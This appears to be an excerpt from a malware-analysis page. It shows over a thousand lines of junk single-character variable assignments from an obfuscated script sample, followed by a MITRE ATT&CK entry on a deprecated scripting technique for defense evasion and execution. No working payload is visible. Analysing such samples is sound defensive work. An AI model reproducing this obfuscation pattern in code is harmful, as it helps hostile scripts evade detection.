352	ikypuqzu = "T";
353	ikypuqzu = "T";
354	ikypuqzu = "L";
355	ikypuqzu = "N";
356	ikypuqzu = "a";
357	ikypuqzu = "O";
358	ikypuqzu = "k";
359	ikypuqzu = "W";
360	ikypuqzu = "I";
361	ikypuqzu = "E";
362	ikypuqzu = "U";
363	ikypuqzu = "n";
364	ikypuqzu = "G";
365	ikypuqzu = "O";
366	ikypuqzu = "t";
367	ikypuqzu = "j";
368	xovkzxo = "i";
369	xovkzxo = "z";
370	xovkzxo = "v";
371	xovkzxo = "t";
372	xovkzxo = "U";
373	xovkzxo = "I";
374	xovkzxo = "J";
375	xovkzxo = "p";
376	xovkzxo = "G";
377	xovkzxo = "c";
378	xovkzxo = "H";
379	xovkzxo = "X";
380	xovkzxo = "J";
381	xovkzxo = "w";
382	xovkzxo = "P";
383	xovkzxo = "H";
384	xovkzxo = "e";
385	xovkzxo = "V";
386	xovkzxo = "j";
387	xovkzxo = "h";
388	xovkzxo = "j";
389	xovkzxo = "p";
390	xovkzxo = "a";
391	xovkzxo = "t";
392	houxb = "Q";
393	houxb = "p";
394	houxb = "I";
395	houxb = "s";
396	houxb = "A";
397	houxb = "q";
398	houxb = "V";
399	houxb = "q";
400	houxb = "d";
401	houxb = "R";
402	houxb = "E";
403	houxb = "V";
404	houxb = "Y";
405	houxb = "s";
406	houxb = "H";
407	houxb = "M";
408	houxb = "m";
409	houxb = "A";
410	houxb = "b";
411	houxb = "W";
412	houxb = "f";
413	houxb = "G";
414	houxb = "q";
415	houxb = "x";
416	houxb = "v";
417	houxb = "T";
418	houxb = "O";
419	houxb = "z";
420	houxb = "y";
421	houxb = "N";
422	houxb = "v";
423	houxb = "d";
424	houxb = "p";
425	houxb = "j";
426	houxb = "j";
427	houxb = "A";
428	houxb = "n";
429	houxb = "Z";
430	houxb = "l";
431	houxb = "h";
432	houxb = "R";
433	houxb = "D";
434	houxb = "9";
435	bgtrdoc = "q";
436	bgtrdoc = "D";
437	bgtrdoc = "M";
438	bgtrdoc = "K";
439	bgtrdoc = "s";
440	bgtrdoc = "l";
441	bgtrdoc = "H";
442	bgtrdoc = "A";
443	bgtrdoc = "N";
444	bgtrdoc = "U";
445	bgtrdoc = "f";
446	bgtrdoc = "Z";
447	bgtrdoc = "O";
448	bgtrdoc = "g";
449	bgtrdoc = "F";
450	bgtrdoc = "N";
451	bgtrdoc = "f";
452	bgtrdoc = "M";
453	bgtrdoc = "Y";
454	bgtrdoc = "K";
455	bgtrdoc = "k";
456	bgtrdoc = "q";
457	bgtrdoc = "U";
458	bgtrdoc = "H";
459	bgtrdoc = "&";
460	cvvultuy = "a";
461	cvvultuy = "R";
462	cvvultuy = "z";
463	cvvultuy = "R";
464	cvvultuy = "K";
465	cvvultuy = "F";
466	cvvultuy = "q";
467	cvvultuy = "K";
468	cvvultuy = "d";
469	cvvultuy = "m";
470	cvvultuy = "J";
471	cvvultuy = "o";
472	cvvultuy = "M";
473	cvvultuy = "m";
474	cvvultuy = "H";
475	cvvultuy = "O";
476	cvvultuy = "a";
477	cvvultuy = "T";
478	cvvultuy = "l";
479	cvvultuy = "i";
480	cvvultuy = "F";
481	cvvultuy = "H";
482	cvvultuy = "M";
483	cvvultuy = "c";
484	cvvultuy = "r";
485	cvvultuy = "g";
486	cvvultuy = "U";
487	cvvultuy = "y";
488	cvvultuy = "m";
489	cvvultuy = "D";
490	cvvultuy = "L";
491	cvvultuy = "p";
492	cvvultuy = "E";
493	cvvultuy = "G";
494	cvvultuy = "U";
495	cvvultuy = "K";
496	cvvultuy = "w";
497	cvvultuy = "o";
498	cvvultuy = "v";
499	cvvultuy = "J";
500	cvvultuy = "b";
501	cvvultuy = "Q";
502	bfdqcj = "b";
503	bfdqcj = "j";
504	bfdqcj = "T";
505	bfdqcj = "i";
506	bfdqcj = "o";
507	bfdqcj = "y";
508	bfdqcj = "J";
509	bfdqcj = "s";
510	bfdqcj = "w";
511	bfdqcj = "E";
512	bfdqcj = "l";
513	bfdqcj = "C";
514	bfdqcj = "C";
515	bfdqcj = "a";
516	bfdqcj = "H";
517	bfdqcj = "Y";
518	bfdqcj = "w";
519	bfdqcj = "W";
520	bfdqcj = "m";
521	bfdqcj = "o";
522	bfdqcj = "n";
523	bfdqcj = "M";
524	bfdqcj = "e";
525	bfdqcj = "V";
526	bfdqcj = "b";
527	bfdqcj = "b";
528	bfdqcj = "J";
529	bfdqcj = "o";
530	bfdqcj = "L";
531	bfdqcj = "d";
532	bfdqcj = "B";
533	bfdqcj = "m";
534	bfdqcj = "y";
535	bfdqcj = "f";
536	bfdqcj = "F";
537	bfdqcj = "v";
538	bfdqcj = "x";
539	bfdqcj = "N";
540	bfdqcj = "R";
541	bfdqcj = "x";
542	bfdqcj = "f";
543	bfdqcj = "B";
544	bfdqcj = "q";
545	tmcei = "u";
546	tmcei = "M";
547	tmcei = "h";
548	tmcei = "a";
549	tmcei = "c";
550	tmcei = "u";
551	tmcei = "H";
552	tmcei = "K";
553	tmcei = "f";
554	tmcei = "5";
555	rbgcnrlmx = "L";
556	rbgcnrlmx = "m";
557	rbgcnrlmx = "B";
558	rbgcnrlmx = "m";
559	rbgcnrlmx = "o";
560	rbgcnrlmx = "k";
561	rbgcnrlmx = "R";
562	rbgcnrlmx = "o";
563	rbgcnrlmx = "W";
564	rbgcnrlmx = "z";
565	rbgcnrlmx = "l";
566	rbgcnrlmx = "L";
567	rbgcnrlmx = "p";
568	rbgcnrlmx = "R";
569	rbgcnrlmx = "v";
570	rbgcnrlmx = "W";
571	rbgcnrlmx = "T";
572	rbgcnrlmx = "H";
573	uobswpeyj = "E";
574	uobswpeyj = "T";
575	uobswpeyj = "Z";
576	uobswpeyj = "C";
577	ujysgtly = "x";
578	ujysgtly = "b";
579	ujysgtly = "d";
580	ujysgtly = "D";
581	ujysgtly = "V";
582	ujysgtly = "a";
583	ujysgtly = "M";
584	ujysgtly = "G";
585	ujysgtly = "s";
586	ujysgtly = "n";
587	ujysgtly = "c";
588	ujysgtly = "h";
589	ujysgtly = "L";
590	vrhutj = "f";
591	vrhutj = "F";
592	vrhutj = "T";
593	vrhutj = "d";
594	vrhutj = "Y";
595	vrhutj = "C";
596	vrhutj = "w";
597	vrhutj = "B";
598	vrhutj = "s";
599	vrhutj = "V";
600	vrhutj = "u";
601	vrhutj = "M";
602	vrhutj = "F";
603	vrhutj = "o";
604	vrhutj = "p";
605	vrhutj = "I";
606	vrhutj = "N";
607	vrhutj = "u";
608	vrhutj = "V";
609	vrhutj = "v";
610	vrhutj = "L";
611	vrhutj = "k";
612	vrhutj = "V";
613	vrhutj = "m";
614	vrhutj = "b";
615	vrhutj = "Y";
616	vrhutj = "U";
617	vrhutj = "Y";
618	vrhutj = "i";
619	vrhutj = "K";
620	vrhutj = "b";
621	vrhutj = "x";
622	iljlnlhl = "A";
623	iljlnlhl = "u";
624	iljlnlhl = "r";
625	iljlnlhl = "I";
626	iljlnlhl = "C";
627	iljlnlhl = "p";
628	iljlnlhl = "e";
629	iljlnlhl = "\"";
630	nxehpxsne = "g";
631	nxehpxsne = "v";
632	nxehpxsne = "y";
633	nxehpxsne = "N";
634	nxehpxsne = "f";
635	nxehpxsne = "n";
636	nxehpxsne = "M";
637	nxehpxsne = "q";
638	nxehpxsne = "w";
639	nxehpxsne = "C";
640	nxehpxsne = "I";
641	nxehpxsne = "L";
642	nxehpxsne = "w";
643	nxehpxsne = "u";
644	nxehpxsne = "r";
645	nxehpxsne = "e";
646	nxehpxsne = "k";
647	nxehpxsne = "p";
648	nxehpxsne = "C";
649	nxehpxsne = "t";
650	nxehpxsne = "n";
651	nxehpxsne = "I";
652	nxehpxsne = "y";
653	nxehpxsne = "W";
654	btyoqvcvt = "E";
655	btyoqvcvt = "o";
656	btyoqvcvt = "w";
657	btyoqvcvt = "Q";
658	btyoqvcvt = "s";
659	btyoqvcvt = "d";
660	btyoqvcvt = "l";
661	btyoqvcvt = "y";
662	btyoqvcvt = "c";
663	btyoqvcvt = "u";
664	btyoqvcvt = "S";
665	btyoqvcvt = "y";
666	btyoqvcvt = "y";
667	btyoqvcvt = "M";
668	btyoqvcvt = "x";
669	btyoqvcvt = "B";
670	btyoqvcvt = "j";
671	btyoqvcvt = "d";
672	btyoqvcvt = "h";
673	btyoqvcvt = "k";
674	btyoqvcvt = "j";
675	btyoqvcvt = "v";
676	btyoqvcvt = "t";
677	btyoqvcvt = "d";
678	btyoqvcvt = "b";
679	btyoqvcvt = "a";
680	btyoqvcvt = "C";
681	btyoqvcvt = "d";
682	btyoqvcvt = "B";
683	btyoqvcvt = "j";
684	btyoqvcvt = "T";
685	btyoqvcvt = "S";
686	btyoqvcvt = "R";
687	btyoqvcvt = "V";
688	btyoqvcvt = "u";
689	btyoqvcvt = "T";
690	btyoqvcvt = "L";
691	btyoqvcvt = "b";
692	btyoqvcvt = "k";
693	btyoqvcvt = "Z";
694	btyoqvcvt = "n";
695	btyoqvcvt = "Y";
696	btyoqvcvt = "I";
697	lgzmwb = "B";
698	lgzmwb = "R";
699	lgzmwb = "R";
700	lgzmwb = "V";
701	lgzmwb = "m";
702	lgzmwb = "u";
703	lgzmwb = "X";
704	lgzmwb = "B";
705	lgzmwb = "Q";
706	lgzmwb = "I";
707	lgzmwb = "U";
708	lgzmwb = "m";
709	lgzmwb = "j";
710	lgzmwb = "X";
711	lgzmwb = "a";
712	lgzmwb = "m";
713	lgzmwb = "C";
714	lgzmwb = "V";
715	lgzmwb = "X";
716	lgzmwb = "m";
717	lgzmwb = "h";
718	lgzmwb = "C";
719	lgzmwb = "S";
720	lgzmwb = "2";
721	uyswpy = "I";
722	uyswpy = "d";
723	uyswpy = "l";
724	uyswpy = "G";
725	uyswpy = "j";
726	uyswpy = "h";
727	uyswpy = "M";
728	uyswpy = "q";
729	uyswpy = "S";
730	uyswpy = "M";
731	uyswpy = "M";
732	uyswpy = "a";
733	uyswpy = "A";
734	uyswpy = "x";
735	uyswpy = "Y";
736	uyswpy = "d";
737	uyswpy = "H";
738	uyswpy = "p";
739	uyswpy = "G";
740	uyswpy = "T";
741	uyswpy = "r";
742	uyswpy = "u";
743	uyswpy = "o";
744	uyswpy = "s";
745	uyswpy = "c";
746	uyswpy = "e";
747	uyswpy = "R";
748	uyswpy = "l";
749	ikmotq = "b";
750	ikmotq = "\\";
751	xyywgfj = "y";
752	xyywgfj = "v";
753	xyywgfj = "Y";
754	xyywgfj = "Y";
755	xyywgfj = "X";
756	xyywgfj = "Q";
757	xyywgfj = "O";
758	xyywgfj = "H";
759	xyywgfj = "A";
760	xyywgfj = "v";
761	xyywgfj = "o";
762	xyywgfj = "E";
763	xyywgfj = "W";
764	xyywgfj = "f";
765	xyywgfj = "V";
766	xyywgfj = "h";
767	xyywgfj = "w";
768	xyywgfj = "x";
769	xyywgfj = "q";
770	xyywgfj = "K";
771	xyywgfj = "D";
772	xyywgfj = "t";
773	xyywgfj = "x";
774	xyywgfj = "r";
775	xyywgfj = "b";
776	xyywgfj = "M";
777	xyywgfj = "A";
778	xyywgfj = "D";
779	xyywgfj = "v";
780	tebaeu = "X";
781	tebaeu = "b";
782	kvbwcch = "s";
783	kvbwcch = "k";
784	kvbwcch = "w";
785	kvbwcch = "K";
786	kvbwcch = "E";
787	kvbwcch = "Y";
788	kvbwcch = "s";
789	kvbwcch = "f";
790	kvbwcch = "a";
791	jgemrnbzp = "q";
792	jgemrnbzp = "E";
793	jgemrnbzp = "B";
794	jgemrnbzp = "t";
795	jgemrnbzp = "z";
796	jgemrnbzp = "u";
797	jgemrnbzp = "V";
798	jgemrnbzp = "f";
799	jgemrnbzp = "8";
800	tuwtwc = "V";
801	tuwtwc = "b";
802	tuwtwc = "F";
803	tuwtwc = "I";
804	tuwtwc = "P";
805	rmotjjhy = "j";
806	rmotjjhy = "M";
807	rmotjjhy = "j";
808	rmotjjhy = "i";
809	rmotjjhy = "Q";
810	rmotjjhy = "U";
811	rmotjjhy = "j";
812	rmotjjhy = "Q";
813	rmotjjhy = "l";
814	rmotjjhy = "x";
815	rmotjjhy = "L";
816	rmotjjhy = "w";
817	rmotjjhy = "Z";
818	rmotjjhy = "p";
819	rmotjjhy = "J";
820	rmotjjhy = "g";
821	rmotjjhy = "v";
822	rmotjjhy = "z";
823	rmotjjhy = "i";
824	rmotjjhy = "I";
825	rmotjjhy = "T";
826	rmotjjhy = "H";
827	rmotjjhy = "X";
828	rmotjjhy = "u";
829	rmotjjhy = "k";
830	rmotjjhy = "B";
831	rmotjjhy = "I";
832	rmotjjhy = "y";
833	rmotjjhy = "S";
834	rmotjjhy = "j";
835	rmotjjhy = "d";
836	rmotjjhy = "U";
837	rmotjjhy = "a";
838	rmotjjhy = "f";
839	rmotjjhy = "O";
840	rmotjjhy = "i";
841	rmotjjhy = "R";
842	rmotjjhy = "b";
843	rmotjjhy = "l";
844	rmotjjhy = "J";
845	rmotjjhy = "o";
846	luddts = "E";
847	luddts = "X";
848	luddts = "r";
849	luddts = "M";
850	luddts = "T";
851	luddts = "r";
852	luddts = "B";
853	luddts = "z";
854	luddts = "L";
855	luddts = "A";
856	luddts = "K";
857	luddts = "O";
858	luddts = "T";
859	luddts = "z";
860	luddts = "k";
861	luddts = "G";
862	luddts = "y";
863	luddts = "P";
864	luddts = "B";
865	luddts = "B";
866	luddts = "n";
867	luddts = "V";
868	luddts = "c";
869	luddts = "G";
870	luddts = "r";
871	luddts = "A";
872	luddts = "T";
873	luddts = "i";
874	luddts = "w";
875	luddts = "L";
876	luddts = "l";
877	luddts = "z";
878	luddts = "h";
879	luddts = "C";
880	luddts = "H";
881	luddts = "o";
882	luddts = "P";
883	luddts = "q";
884	luddts = "F";
885	luddts = "H";
886	luddts = "U";
887	luddts = "R";
888	luddts = "g";
889	luddts = "r";
890	nkcih = "I";
891	nkcih = "D";
892	nkcih = "T";
893	nkcih = "h";
894	nkcih = "s";
895	nkcih = "L";
896	nkcih = "r";
897	nkcih = "E";
898	nkcih = "i";
899	nkcih = "u";
900	nkcih = "s";
901	nkcih = "n";
902	nkcih = "c";
903	nkcih = "M";
904	nkcih = "q";
905	nkcih = "Y";
906	nkcih = "p";
907	nkcih = "r";
908	nkcih = "R";
909	nkcih = "u";
910	ylzlkk = "S";
911	ylzlkk = "a";
912	ylzlkk = "d";
913	ylzlkk = "b";
914	ylzlkk = "w";
915	ylzlkk = "m";
916	ylzlkk = "P";
917	ylzlkk = "Z";
918	ylzlkk = "e";
919	ylzlkk = "b";
920	ylzlkk = "l";
921	ylzlkk = "r";
922	ylzlkk = "j";
923	ylzlkk = "c";
924	ylzlkk = "I";
925	ylzlkk = "A";
926	ylzlkk = "O";
927	ylzlkk = "x";
928	ylzlkk = "X";
929	ylzlkk = "w";
930	ylzlkk = "v";
931	ylzlkk = "f";
932	ylzlkk = "S";
933	ylzlkk = ":";
934	wrcxeto = "O";
935	wrcxeto = "q";
936	wrcxeto = "N";
937	wrcxeto = "b";
938	wrcxeto = "T";
939	wrcxeto = "b";
940	wrcxeto = "j";
941	wrcxeto = "Z";
942	wrcxeto = "4";
943	xyeahj = "h";
944	xyeahj = "K";
945	xyeahj = "s";
946	xyeahj = "r";
947	xyeahj = "i";
948	xyeahj = "b";
949	xyeahj = "W";
950	xyeahj = "s";
951	xyeahj = "U";
952	xyeahj = "Y";
953	xyeahj = "n";
954	xyeahj = "n";
955	xyeahj = "M";
956	xyeahj = "g";
957	xyeahj = "B";
958	xyeahj = "M";
959	xyeahj = "A";
960	xyeahj = "l";
961	xyeahj = "K";
962	xyeahj = "L";
963	xyeahj = "v";
964	xyeahj = "z";
965	xyeahj = "L";
966	xyeahj = "k";
967	xyeahj = "I";
968	xyeahj = "P";
969	xyeahj = "r";
970	xyeahj = "K";
971	xyeahj = "N";
972	xyeahj = "w";
973	xyeahj = "v";
974	xyeahj = "r";
975	xyeahj = "w";
976	xyeahj = "l";
977	xyeahj = "k";
978	xyeahj = "k";
979	xyeahj = "r";
980	xyeahj = "G";
981	xyeahj = "P";
982	xyeahj = "d";
983	xyeahj = "d";
984	xisqd = "d";
985	xisqd = "o";
986	xisqd = "v";
987	xisqd = "E";
988	xisqd = "X";
989	xisqd = "k";
990	xisqd = "r";
991	xisqd = "z";
992	xisqd = "o";
993	xisqd = "B";
994	xisqd = "w";
995	xisqd = "a";
996	xisqd = "X";
997	xisqd = "n";
998	xisqd = "X";
999	xisqd = "A";
1000	xisqd = "l";
1001	xisqd = "k";
1002	xisqd = "y";
1003	xisqd = "Z";
1004	xisqd = "N";
1005	xisqd = "A";
1006	xisqd = "I";
1007	xisqd = "C";
1008	xisqd = "U";
1009	tgyvr = "y";
1010	tgyvr = "x";
1011	tgyvr = "g";
1012	tgyvr = "W";
1013	tgyvr = "s";
1014	tgyvr = "l";
1015	tgyvr = "I";
1016	tgyvr = "k";
1017	tgyvr = "J";
1018	tgyvr = "w";
1019	tgyvr = "J";
1020	tgyvr = "d";
1021	tgyvr = "l";
1022	tgyvr = "u";
1023	tgyvr = "P";
1024	tgyvr = "z";
1025	tgyvr = "E";
1026	tgyvr = "p";
1027	lpylc = "K";
1028	lpylc = "u";
1029	lpylc = "P";
1030	lpylc = "I";
1031	lpylc = "E";
1032	lpylc = "r";
1033	lpylc = "Z";
1034	lpylc = "a";
1035	lpylc = "S";
1036	lpylc = "K";
1037	lpylc = "W";
1038	lpylc = "x";
1039	lpylc = "i";
1040	lpylc = "B";
1041	lpylc = "v";
1042	lpylc = "q";
1043	lpylc = "1";
1044	nfbhfdyc = "c";
1045	nfbhfdyc = "q";
1046	nfbhfdyc = "O";
1047	nfbhfdyc = "h";
1048	nfbhfdyc = "l";
1049	nfbhfdyc = "M";
1050	nfbhfdyc = "h";
1051	mbvkoh = "u";
1052	mbvkoh = "f";
1053	mbvkoh = "t";
1054	mbvkoh = "x";
1055	mbvkoh = "c";
1056	mbvkoh = "W";
1057	mbvkoh = "t";
1058	mbvkoh = "u";
1059	mbvkoh = "Z";
1060	mbvkoh = "k";
1061	mbvkoh = "z";
1062	mbvkoh = "x";
1063	mbvkoh = "h";
1064	mbvkoh = "w";
1065	mbvkoh = "q";
1066	mbvkoh = "N";
1067	mbvkoh = "l";
1068	mbvkoh = "Y";
1069	mbvkoh = "D";
1070	mbvkoh = "N";
1071	mbvkoh = "l";
1072	mbvkoh = "p";
1073	mbvkoh = "z";
1074	mbvkoh = "s";
1075	mbvkoh = "R";
1076	mbvkoh = "X";
1077	mbvkoh = "h";
1078	mbvkoh = "p";
1079	mbvkoh = "T";
1080	mbvkoh = "C";
1081	mbvkoh = "w";
1082	pkcrwq = "x";
1083	pkcrwq = "m";
1084	pkcrwq = "z";
1085	pkcrwq = "A";
1086	pkcrwq = "Z";
1087	pkcrwq = "z";
1088	pkcrwq = "o";
1089	pkcrwq = "c";
1090	pkcrwq = "F";
1091	pkcrwq = "n";
1092	pkcrwq = "I";
1093	pkcrwq = "x";
1094	pkcrwq = "B";
1095	pkcrwq = "r";
1096	pkcrwq = "d";
1097	pkcrwq = "C";
1098	pkcrwq = "X";
1099	pkcrwq = "S";
1100	pkcrwq = "W";
1101	pkcrwq = "I";
1102	pkcrwq = "R";
1103	pkcrwq = "P";
1104	pkcrwq = "b";
1105	pkcrwq = "J";
1106	pkcrwq = "u";
1107	pkcrwq = "U";
1108	pkcrwq = "/";
1109	ijnrltisk = "R";
1110	ijnrltisk = "q";
1111	ijnrltisk = "L";
1112	ijnrltisk = "q";
1113	ijnrltisk = "E";
1114	ijnrltisk = "L";
1115	ijnrltisk = "Q";
1116	ijnrltisk = "G";
1117	ijnrltisk = "X";
1118	ijnrltisk = "A";
1119	ijnrltisk = "d";
1120	ijnrltisk = "d";
1121	ijnrltisk = "P";
1122	ijnrltisk = "y";
1123	ijnrltisk = "H";
1124	ijnrltisk = "e";
1125	ijnrltisk = "d";
1126	ijnrltisk = "V";
1127	ijnrltisk = "s";
1128	ijnrltisk = "W";
1129	ijnrltisk = "y";
1130	ijnrltisk = "B";
1131	ijnrltisk = "m";
1132	ijnrltisk = "P";
1133	ijnrltisk = "p";
1134	ijnrltisk = "m";
1135	ijnrltisk = "N";
1136	ijnrltisk = "p";
1137	ijnrltisk = "G";
1138	ijnrltisk = "x";
1139	ijnrltisk = "P";
1140	ijnrltisk = "L";
1141	ijnrltisk = "g";
1142	ijnrltisk = "v";
1143	ijnrltisk = "K";
1144	ijnrltisk = "Z";
1145	ijnrltisk = "e";
1146	ijnrltisk = "z";
1147	ijnrltisk = " ";
1148	ztcveu = "h";
1149	ztcveu = "l";
1150	ztcveu = "T";
1151	ztcveu = "K";
1152	ztcveu = "Z";
1153	ztcveu = "g";
1154	ztcveu = "T";
1155	ztcveu = "X";
1156	ztcveu = "G";
1157	ztcveu = "W";
1158	ztcveu = "t";
1159	ztcveu = "G";
1160	ztcveu = "y";
1161	ztcveu = "O";
1162	ztcveu = "w";
1163	ztcveu = "f";
1164	ztcveu = "0";
1165	qkbybeaka = "Q";
1166	qkbybeaka = "U";
1167	qkbybeaka = "E";
1168	qkbybeaka = "X";
1169	qkbybeaka = "x";
1170	qkbybeaka = "x";
1171	qkbybeaka = "E";
1172	qkbybeaka = "g";
1173	qkbybeaka = "x";
1174	qkbybeaka = "f";
1175	qkbybeaka = "l";
1176	qkbybeaka = "o";
1177	qkbybeaka = "I";
1178	qkbybeaka = "h";
1179	qkbybeaka = "q";
1180	qkbybeaka = "B";
1181	qkbybeaka = "O";
1182	qkbybeaka = "B";
1183	qkbybeaka = "G";
1184	qkbybeaka = "T";
1185	qkbybeaka = "d";
1186	qkbybeaka = "r";
1187	qkbybeaka = "M";
1188	qkbybeaka = "o";
1189	qkbybeaka = "E";
1190	qkbybeaka = "n";
1191	qkbybeaka = "N";
1192	qkbybeaka = "@";
1193	kcyrxec = "O";
1194	kcyrxec = "m";
1195	kcyrxec = "s";
1196	kcyrxec = "n";
1197	kcyrxec = "Z";
1198	kcyrxec = "q";
1199	kcyrxec = "a";
1200	kcyrxec = "s";
1201	kcyrxec = "L";
1202	kcyrxec = "g";
1203	kcyrxec = "s";
1204	kcyrxec = "K";
1205	kcyrxec = "Z";
1206	kcyrxec = "f";
1207	kcyrxec = "j";
1208	kcyrxec = "D";
1209	kcyrxec = "J";
1210	kcyrxec = "l";
1211	kcyrxec = "N";
1212	kcyrxec = "G";
1213	kcyrxec = "r";
1214	kcyrxec = "R";
1215	lnhyx = "d";
1216	lnhyx = "J";
1217	lnhyx = "c";
1218	lnhyx = "n";
1219	lnhyx = "Q";
1220	lnhyx = "M";
1221	lnhyx = "L";
1222	lnhyx = "d";
1223	lnhyx = "b";
1224	lnhyx = "z";
1225	lnhyx = "S";
1226	lnhyx = "B";
1227	lnhyx = "i";
1228	lnhyx = "T";
1229	lnhyx = "S";
1230	lnhyx = "c";
1231	lnhyx = "e";
1232	lnhyx = "P";
1233	lnhyx = "k";
1234	lnhyx = "Z";
1235	lnhyx = "7";
1236	kgfyankw = "v";
1237	kgfyankw = "m";
1238	kgfyankw = "P";
1239	kgfyankw = "u";
1240	kgfyankw = "F";
1241	kgfyankw = "g";
1242	kgfyankw = "R";
1243	kgfyankw = "S";
1244	kgfyankw = "l";
1245	kgfyankw = "K";
1246	kgfyankw = "n";
1247	kgfyankw = "b";
1248	kgfyankw = "G";
1249	kgfyankw = "L";
1250	kgfyankw = "L";
1251	kgfyankw = "n";
1252	kgfyankw = "s";
1253	kgfyankw = "J";
1254	kgfyankw = "c";
1255	kgfyankw = "j";
1256	kgfyankw = "o";
1257	kgfyankw = "s";
1258	kgfyankw = "N";
1259	kgfyankw = "q";
1260	kgfyankw = "k";
1261	kgfyankw = "Z";
1262	kgfyankw = "T";
1263	kgfyankw = "l";
1264	kgfyankw = "k";
1265	kgfyankw = "W";
1266	kgfyankw = "O";
1267	kgfyankw = "K";
1268	kgfyankw = "i";
1269	kgfyankw = "t";
1270	kgfyankw = "Y";
1271	kgfyankw = "q";
1272	kgfyankw = "e";
1273	oormxyed = "u";
1274	oormxyed = "C";
1275	oormxyed = "Y";
1276	oormxyed = "V";
1277	oormxyed = "e";
1278	oormxyed = "X";
1279	oormxyed = "i";
1280	oormxyed = "h";
1281	oormxyed = "g";
1282	oormxyed = "J";
1283	oormxyed = "O";
1284	oormxyed = "O";
1285	oormxyed = "P";
1286	oormxyed = "t";
1287	oormxyed = "V";
1288	oormxyed = "c";
1289	oormxyed = "B";
1290	oormxyed = "J";
1291	oormxyed = "U";
1292	oormxyed = "Q";
1293	oormxyed = "k";
1294	oormxyed = "P";
1295	oormxyed = "p";
1296	oormxyed = "m";
1297	oormxyed = "w";
1298	oormxyed = "w";
1299	oormxyed = "y";
1300	oormxyed = "a";
1301	oormxyed = "E";
1302	oormxyed = "Z";
1303	oormxyed = "N";
1304	oormxyed = "q";
1305	oormxyed = "g";
1306	oormxyed = "r";
1307	oormxyed = "U";
1308	oormxyed = "n";
1309	oormxyed = "a";
1310	oormxyed = "J";
1311	oormxyed = "M";
1312	oormxyed = "R";
1313	oormxyed = "Y";
1314	oormxyed = "I";
1315	oormxyed = "R";
1316	oormxyed = "d";
1317	oormxyed = "m";
1318	uykhvlli = "x";
1319	uykhvlli = "L";
1320	uykhvlli = "b";
1321	uykhvlli = "d";
1322	uykhvlli = "x";
1323	uykhvlli = "P";
1324	uykhvlli = "X";
1325	uykhvlli = "d";
1326	uykhvlli = "O";
1327	uykhvlli = "A";
1328	uykhvlli = "G";
1329	uykhvlli = "Z";
1330	uykhvlli = "y";
1331	uykhvlli = "p";
1332	uykhvlli = "h";
1333	uykhvlli = "I";
1334	uykhvlli = "P";
1335	uykhvlli = "c";
1336	uykhvlli = "K";
1337	uykhvlli = "i";
1338	uykhvlli = "D";
1339	uykhvlli = "L";
1340	uykhvlli = "Z";
1341	uykhvlli = "A";
1342	uykhvlli = "f";
1343	uykhvlli = "n";
1344	uykhvlli = "F";
1345	uykhvlli = "e";
1346	uykhvlli = "I";
1347	uykhvlli = "F";
1348	uykhvlli = "I";
1349	uykhvlli = "o";
1350	uykhvlli = "U";
1351	uykhvlli = "6";
1352	vdgpe = "N";
1353	vdgpe = "p";
1354	vdgpe = "a";
1355	vdgpe = "y";
1356	vdgpe = "D";
1357	vdgpe = "R";
1358	vdgpe = "w";
1359	vdgpe = "Z";
1360	vdgpe = "Y";
1361	vdgpe = "K";
1362	vdgpe = "u";
1363	vdgpe = "m";
1364	vdgpe = "e";
1365	vdgpe = "I";
1366	vdgpe = "g";
1367	vdgpe = "B";
1368	vdgpe = "I";
1369	vdgpe = "Y";
1370	vdgpe = "v";
1371	vdgpe = "d";
1372	vdgpe = "u";
1373	vdgpe = "O";
1374	vdgpe = "w";
1375	vdgpe = "e";
1376	vdgpe = "L";
1377	vdgpe = "e";
1378	vdgpe = "Y";
1379	vdgpe = "u";
1380	vdgpe = "R";
1381	vdgpe = "V";
1382	vdgpe = "W";
1383	vdgpe = "Q";
1384	vdgpe = "U";
1385	vdgpe = "R";
1386	vdgpe = "d";
1387	vdgpe = "R";
1388	vdgpe = "t";
1389	vdgpe = "N";
1390	vdgpe = "i";
1391	vdgpe = "F";
1392	vdgpe = "n";
1393	vdgpe = "Q";
1394	vdgpe = "Z";
1395	vdgpe = "J";
1396	vdgpe = ".";
1397	glumgxsq = "z";
1398	glumgxsq = "b";
1399	glumgxsq = "L";
1400	glumgxsq = "S";
1401	glumgxsq = "I";
1402	glumgxsq = "W";
1403	glumgxsq = "i";
1404	glumgxsq = "G";
1405	glumgxsq = "S";
1406	glumgxsq = "R";
1407	glumgxsq = "s";
1408	glumgxsq = "O";
1409	glumgxsq = "I";
1410	glumgxsq = "m";
1411	glumgxsq = "d";
1412	glumgxsq = "D";
1413	glumgxsq = "d";
1414	glumgxsq = "U";
1415	glumgxsq = "S";
1416	glumgxsq = "w";
1417	glumgxsq = "Z";
1418	glumgxsq = "Y";
1419	glumgxsq = "K";
1420	glumgxsq = "p";
1421	glumgxsq = "t";
1422	glumgxsq = "-";
1423	mmljvtfsq = "X";
1424	mmljvtfsq = "P";
1425	mmljvtfsq = "F";
1426	mmljvtfsq = "e";
1427	mmljvtfsq = "O";
1428	mmljvtfsq = "q";
1429	mmljvtfsq = "P";
1430	mmljvtfsq = "T";
1431	mmljvtfsq = "N";
1432	mmljvtfsq = "o";
1433	mmljvtfsq = "a";
1434	mmljvtfsq = "w";
1435	mmljvtfsq = "d";
1436	mmljvtfsq = "F";
1437	mmljvtfsq = "L";
1438	mmljvtfsq = "M";
1439	mmljvtfsq = "x";
1440	mmljvtfsq = "h";
1441	mmljvtfsq = "X";
1442	mmljvtfsq = "M";
1443	mmljvtfsq = "O";
1444	mmljvtfsq = "n";
1445	mmljvtfsq = "F";
1446	mmljvtfsq = "I";
1447	mmljvtfsq = "d";
1448	mmljvtfsq = "E";
1449	mmljvtfsq = "Q";
1450	mmljvtfsq = "k";
1451	mmljvtfsq = "p";
1452	mmljvtfsq = "O";
1453	ohdagc = "y";
1454	ohdagc = "X";
1455	ohdagc = "K";
1456	ohdagc = "U";
1457	ohdagc = "W";
1458	ohdagc = "q";
1459	ohdagc = "l";
1460	ohdagc = "D";
1461	ohdagc = "R";
1462	ohdagc = "u";
1463	ohdagc = "W";
1464	ohdagc = "S";
1465	ohdagc = "F";
1466	uctuced ( );	uctuced() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

